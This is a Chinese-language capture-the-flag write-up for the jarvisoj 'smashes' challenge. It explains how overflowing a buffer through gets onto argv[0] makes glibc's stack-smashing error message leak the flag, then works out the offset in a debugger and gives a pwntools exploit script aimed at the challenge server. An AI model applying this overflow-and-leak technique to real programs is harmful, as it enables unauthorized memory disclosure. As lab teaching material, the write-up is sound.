stack smash

jarvisoj pwn smashes

  • checksec开启了NX和Canary
  • 比较明显我们可利用的点时_IO_gets函数, 那基本的思路就是Stack Smash. 我们知道, 当程序开启了Canary后, 如果把该值覆盖, 程序报错时,触发_stack_chk_fail函数, 最终会输出argv[0]的信息.
  • 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    void __attribute__ ((noreturn)) __stack_chk_fail (void)
    {
    __fortify_fail ("stack smashing detected");
    }
    void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
    {
    /* The loop is added only to keep gcc happy. */
    while (1) __libc_message (2, "*** %s ***: %s terminated\n",
    msg, __libc_argv[0] ?: "<unknown>");
    }
    所以,我们要将覆盖argv[0]为flag,那么在输出报错信息时,就成功的泄露了flag的值, 所要知道的是:
  1. 偏移:从可以输入的栈指针到argv[0]的偏移值,即为我们需要填充的(当然还有一种暴力覆盖的方法,你懂的)
  2. flag的地址:将argv[0]修改成flag的地址

偏移值

  • 查看argv[0]的栈偏移, 可以看出argv[0]地址为0x7fffffffdf18

  • 计算出偏移
  • 在_IO_gets前下断点, 查看其esp

  • 所以偏移值 0x218

  • 这里直接使用flag的地址写exp是错误的, 因为这里有一个memset, 具体原因自寻.

  • 所以我们在memset前下断点

  • 查询cccc, 发现0x600d20处的flag被覆盖了(ps: pwndbg调不出来,换了peda就行了…)

  • 寻找没有被覆盖的flag值

  • 利用构造exp

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    #!/usr/bin/env python
    # coding=utf-8
    from pwn import *

    #sh = process('./stack_smashes')
    sh = remote("pwn.jarvisoj.com", 9877)

    offset = 0x218
    flag_addr = 0x400d20

    payload = 'A' * offset + p64(flag_addr)#暴力破解的话就全填flag地址...)

    sh.recvuntil("name? ")
    sh.sendline(payload)
    sh.interactive()

    本地跑出来那个unknow值就是argv[0]